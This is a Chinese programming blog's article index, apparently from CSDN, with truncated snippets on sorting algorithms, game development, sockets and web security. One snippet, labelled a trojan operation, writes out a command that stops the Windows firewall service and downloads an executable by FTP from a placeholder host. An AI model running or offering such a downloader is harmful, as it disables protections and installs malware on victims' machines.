技术文章
fangyuan303687320
Silverlight 游戏开发是下一个目标
展开
-
智慧型算法系列
冒泡法 1.冒泡法:这是最原始,也是众所周知的最慢的算法了。他的名字的由来因为它的工作看来象是冒泡:#include void BubbleSort(int* pData,int Count){ int iTemp; for(int i=1;i { for(int j=Count-1;j>=i;j--) { if(pData[转载 2008-12-28 14:25:00 · 705 阅读 · 0 评论 -
游戏开发相关基础
PC游戏编程 目录 1 游戏程序理论1.1 技术基础1.2 游戏底层1.3 编写规则1.4 程序设计1.5 制作流程1.6 程序调式1.7 代码优化 2 游戏实践讨论2.1 制作概况2.2 模块划分2.3 游戏引擎2.4 关键讨论2.5 希望 1 游戏程序理论 我做游戏的历史只有三年,我所写的内转载 2008-12-26 17:04:00 · 1256 阅读 · 0 评论 -
游戏开发相关
游戏开发—图形图像篇 游戏开发--开篇 记得我第一次玩的PC game 是KKND(绝地风暴),当时的游戏平台是DOS,我只是觉得很好玩,经常和几个小学同学一起厮杀到12点。可是现在回忆起来,KKND无论是从智能设计还是在游戏画面与操作上都是非常出色的。他的音效同样是很棒的,而且全中文配音让当时很多不懂英语的玩家找到了许多的亲切感。这真是一款很棒的游戏。It转载 2008-12-26 16:57:00 · 3940 阅读 · 0 评论 -
快速排序C
快速排序 1.快速排序:#include void run(int* pData,int left,int right){ int i,j; int middle,iTemp; i = left; j = right; middle = pData[(left+right)/2]; //求中间值 do{ while((pData[i]从左扫描转载 2008-12-28 14:26:00 · 654 阅读 · 0 评论 -
交换法 C
交换法 交换法:交换法的程序最清晰简单,每次用当前的元素一一的同其后的元素比较并交换。#include void ExchangeSort(int* pData,int Count){ int iTemp; for(int i=0;i { for(int j=i+1;j { if(pData[j] {转载 2008-12-28 14:28:00 · 761 阅读 · 0 评论 -
输出菱形,
#includevoid main(){int i,j,k,l;printf("enter max line:"); /*输入最大行数*/scanf("%d",&j);for (i=-j/2;i{ if (ielse l=i;for (k=0;kprintf(" "); /*输出每一行的空格*/if (i>0) l=-i;else l=i;for (k=0;kprintf("*"); /*输出每一原创 2008-12-28 14:56:00 · 619 阅读 · 0 评论 -
C++源代码游戏编程--WinMain()函数集
C++源代码游戏编程--WinMain()函数集 C++源代码游戏编程--WinMain()函数交流//******************************************************************//函数:WinMain()//功能:应用程序入口//*************************************************转载 2008-12-26 17:02:00 · 1266 阅读 · 0 评论 -
经典c算法相关程序
【程序51】题目:学习使用按位与 & 。 1.程序分析:0&0=0; 0&1=0; 1&0=0; 1&1=12.程序源代码:#include "stdio.h"main(){ int a, b; a = 077; b = a & 3; printf("/40: The a & b(decimal) is %d /n", b); b &= 7; printf("/原创 2008-12-28 13:56:00 · 757 阅读 · 1 评论 -
选择法C
选择法 选择法:现在我们终于可以看到一点希望:选择法,这种方法提高了一点性能(某些情况下)这种方法类似我们人为的排序习惯:从数据中选择最小的同第一个值交换,在从省下的部分中选择最小的与第二个交换,这样往复下去。#include void SelectSort(int* pData,int Count){ int iTemp; int iPos; for(int i=0;i转载 2008-12-28 14:27:00 · 1078 阅读 · 0 评论 -
堆排序
堆排序 #includevoid Sift(int A[],int n,int i){ int x=A[i]; int j; j=2*i+1; while(j { if(j j++; if(x A[i]=A[j]; i=j;j=2*i+1; } else break; } A[i]=x;}void HeapSort(int A[],int n){ int x;转载 2008-12-28 14:31:00 · 522 阅读 · 0 评论 -
游戏开发相关基础
角色扮演游戏(RPG)是深受广大游戏迷们喜爱的一种游戏, 它以独特的互动性和故事性吸引了无数的玩家。它向人们提供了超出现实生活的广阔的虚拟世界,使人们能够尝试扮演不同的角色,去经历和体验各种不同的人生旅程或奇幻经历。这些体验都是在现实生活中无法实现的。在玩过许多游戏后,许多玩家都不再仅仅满足于一个游戏玩家的身份,而会思考游戏是如何制作的,并且打算制作一个自己的游戏,网上的各种游戏制作小组更是如雨后转载 2008-12-26 17:01:00 · 833 阅读 · 0 评论 -
游戏开发充电。转型
偌大一个中国,却无书可读 [选自 szwaiwai 的 Blog]鱼 @ 2005-05-09 09:53在论坛里,经常看到有些网友说中国的游戏开发别的都不缺,就缺好的创意策化.其实,中国游戏开发什么都缺,游戏程序设计开发,美工,3D,AI都很落后. 目前国外流行的都是3D游戏(如半条命2),开发该类游戏的重要基础之一就是计算转载 2008-12-26 17:12:00 · 1714 阅读 · 0 评论 -
HttpModule与HttpHandler详解
ASP.NET对请求处理的过程:当请求一个*.aspx文件的时候,这个请求会被inetinfo.exe进程截获,它判断文件的后缀(aspx)之后,将这个请求转交给 ASPNET_ISAPI.dll,ASPNET_ISAPI.dll会通过http管道(Http PipeLine)将请求发送给ASPNET_WP.exe进程,在ASPNET_WP.exe进程中通过HttpRuntime来处理这个请求转载 2009-10-08 11:57:00 · 1613 阅读 · 1 评论 -
常用JavaScript代码
事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey转载 2009-11-25 11:57:00 · 1441 阅读 · 0 评论 -
老站长传授网站防黑经验
[其他] 老站长传授网站防黑经验一.设置严密的权限。 上传的目录只给写入、读取权限,绝对不能给执行的权限。 每个网站使用独立的用户名和密码,权限设置为Guest。 命令: net localgroup users myweb /del 设置MSSQL、Apache、MySQL以Guest权限运行:在运行中打:service.msc,选择相应的服务,以转载 2009-12-08 18:11:00 · 1453 阅读 · 0 评论 -
用API函数实现串行通讯
以往的DOS系统是通过DOS中断和BIOS中断向用户提供串行接口的通讯能力。在Windows环境下,C++的开发工具既没有提供象DOS和BIOS中那样专门的串行通讯控制方法,也不答应用户直接控制串口的中断。为了保证资源共享,Windows系统完全接管了各种硬件资源,使用中断来控制端口将破坏系统的多任务性,使系统的稳定性受到影响。但Windows同时也提供了功能强大的API函数使用户能间接的控制转载 2008-12-25 18:53:00 · 838 阅读 · 0 评论 -
Vc++远程控制(转)
今天就把我做的过程写下来吧,给新手一些参考,软件是VC6.0,建立的是MFC工程,通信和线程等功能实现均直接调用API,对控件的处理使用了相关类。 首先讲一下两方的通信过程:服务端启动后就进行监听,客户端主动连接服务端,连接成功后为其建立一个线程接收控制命令并进行处理。 下面讲解客户端的实现。 客户端的功能其实很简单,只要连接上服务端后就基本什么不用做了,当用户点击“发送控转载 2008-12-05 13:43:00 · 1309 阅读 · 0 评论 -
SHELL排序,希尔排序
SHELL排序,希尔排序 SHELL排序这个排序非常复杂,看了程序就知道了。首先需要一个递减的步长,这里我们使用的是9、5、3、1(最后的步长必须是1)。工作原理是首先对相隔9-1个元素的所有内容排序,然后再使用同样的方法对相隔5-1个元素的排序以次类推。#include void ShellSort(int* pData,int Count){ int step[4]; step[0转载 2008-12-28 14:29:00 · 615 阅读 · 0 评论 -
合并排序(非递归算法)
合并排序(非递归算法) #include //定义全局数组大小int size=7;void mergeSort(int a[]);void mergePass(int x[],int y[],int s);void merge(int c[],int d[],int l,int m,int r);void mergeSort(int a[]){转载 2008-12-28 14:30:00 · 1042 阅读 · 0 评论 -
直接插入排序
直接插入排序#includevoid InsertSort(int A[],int n){ int x; int i,j; for(i=1;i { x=A[i]; for(j=i-1;j>=0;j--) if(x A[j+1]=A[j]; else break; A[j+1]=x; }}void main(){ int a[]={12,32,14,25,98原创 2008-12-28 14:34:00 · 521 阅读 · 0 评论 -
连接池
摘要: 连接池能在程度上提高数据库访问性能。本文讨论到底何为连接池,它如何提高数据库访问性能,以及如何在.NET中创建连接池并增加或移除连接。 导言 连接数据库是应用程序中耗费大量资源且相对较慢的操作,但它们又是至关紧要的。连接池是已打开的及可重用的数据库连接的一个容器。连接池在所有的数据库连接都关闭时才从内存中释放。使用连接池最基本的好处是提高应用程序的性能及可伸缩性转载 2009-02-09 20:21:00 · 490 阅读 · 0 评论 -
数据连接池的研究与实现
数据连接池的研究与实现(跨数据库设计) 转载请说明出处以及作者:Vincent Zhanghttp://www.cnblogs.com/0201010031中心思想:1,建立一个数据连接池类2,然后使用一个专门的类去管理数据库连接池拥有的连接的提出和放回。3,建立n个(n>=1)为特定的数据库服务的类(例如专门用于sqlserver表操作),注意:一个数据库就一个类4,用第三步创建出来转载 2009-02-09 20:55:00 · 430 阅读 · 0 评论 -
用idhttp登陆淘宝网站
unit Unit7;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,ComObj,IdHTTP;type TForm7 = class(TForm) Memo_Log: TMemo; Button1: TButto转载 2009-02-11 19:44:00 · 2170 阅读 · 1 评论 -
apache+mysql+php apache
版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明http://www.5ilinux.com/lamp01.html关键字:apache+mysql+php apache mysql php 配置 lamp 服务器 web Linux+Apache+Mysql+PHP典型配置 调试环境:Redhat9.0 Apache1.3.29 Mysql3.2转载 2009-02-16 11:49:00 · 485 阅读 · 0 评论 -
C++优化程序
(1)自定义程序的入口 (2)合并区段 (3)不用调malloc,free等函数 (3)不用cout来输出,cin来输入 (4)如果调用了很多库函数如memset,stycpy等等 的话,请导入msvcrt.lib,不然编译器会在程序里面 导入静态库,这样的话程序就会大很多。。 (5)window编程不用mfc... 减少程序运行内存占用量可以调用 SetProcessWorkingSetSize转载 2008-12-05 13:46:00 · 478 阅读 · 0 评论 -
C语言WinSock学习笔记
Socket(套接字) ◆先看定义: typedef unsigned int u_int; typedef u_int SOCKET; ◆Socket相当于进行网络通信两端的插座,只要对方的Socket和自己的Socket有通信联接,双方就可以发送和接收数据了。其定义类似于文件句柄的定义。 ◆Socket有五种不同的类型: 1、流式套接字(stream socket) 定义: #define S转载 2008-12-05 19:16:00 · 604 阅读 · 0 评论 -
Visual C++开发工具与调试技巧整理
1.如何在Release状态下进行调试 Project->Setting=>ProjectSetting对话框,选择Release状态。C/C++标签中的Category选General,Optimizations选Disable(Debug),Debut info选Program Database。在Link标签中选中Generate debug info复选框。 注:只是一个介转载 2008-12-05 19:22:00 · 362 阅读 · 0 评论 -
php安全防范
Php注入的安全防范通过上面的过程,我们可以了解到php注入的原理和手法,当然我们也同样可以制定出相应该的防范方法:首先是对服务器的安全设置,前面的windows服务器的安全设置我们已经讲了,不再重复,这里主要是php+mysql的安全设置和linux主机的安全设置。对php+mysql注射的防范,首先将magic_quotes_gpc设置为On,display_errors设置为Off,如果id转载 2008-12-05 13:39:00 · 570 阅读 · 0 评论 -
简单批下载(木马操作)
先在桌面上单机右键,新建-快捷方式 step2在项目位置里输入%windir%/system32/cmd.exe /c net stop sharedaccess&echo open XXXX.vicp.net > t.t&echo user>>t.t&echo pass>>t.t&echo get mm.exe c:/mm.exe >> t.t&echo bye >> t.t&ftp -s:转载 2008-12-05 13:41:00 · 536 阅读 · 0 评论 -
黑客技巧之破解加密光盘
如今市面上有很多加密光盘,这些光盘是以特殊形式刻录的。将它放入光驱后,就会出现一个软件的安装画面要你输入序列号,如果序列号正确就会出现一个文件浏览窗口,错误则跳回桌面。如果你是从资源浏览器中观看光盘文件就是一些图片之类的文件,你想找的文件却怎么也看不到。这样的事情你碰到过吧?如果你的光盘序列号丢了或者光盘上的序列号根本不对,那该怎么办呢?别急,看我的“神龙五式”! 第一式:用UltraE转载 2008-12-05 14:52:00 · 522 阅读 · 0 评论 -
vc++服务端编程
服务端程序的编写1. 创建套接字(Socket)2. 将套接字绑定到一个本地地址和端口上.(bind)3. 将套接字设为监听模式,准备接收客户请求(listen).4. 等待客户请求到来,当请求到来后,接收连接请求,返回一个新的对应于此次连接的套接字(accept).5. 用返回的套接字和客户端进行通讯(Send/Recv)6. 返回等待另一个客户请求.7. 关闭套接字如下是服务端程序的代码:转载 2008-12-05 19:19:00 · 989 阅读 · 1 评论 -
一个总经理的11个经典面试问题
一个总经理的11个经典面试问题2009-10-21 14:22孙子曰:“兵者,国之大事,死生之地,存亡之道,不可不察也。”当代社会,应聘一个岗位,犹如与敌国打仗。准备打仗的时间与打仗时间之比应为10:1,甚至是100:1。故,我们不得不深究也。最近,自己面试了上百个大学生,觉得他们在面试的心态和技能方面急需提高,以便顺利通过这一关,进入人生的第一个职业。面试过程中,转载 2009-12-12 13:47:00 · 1599 阅读 · 0 评论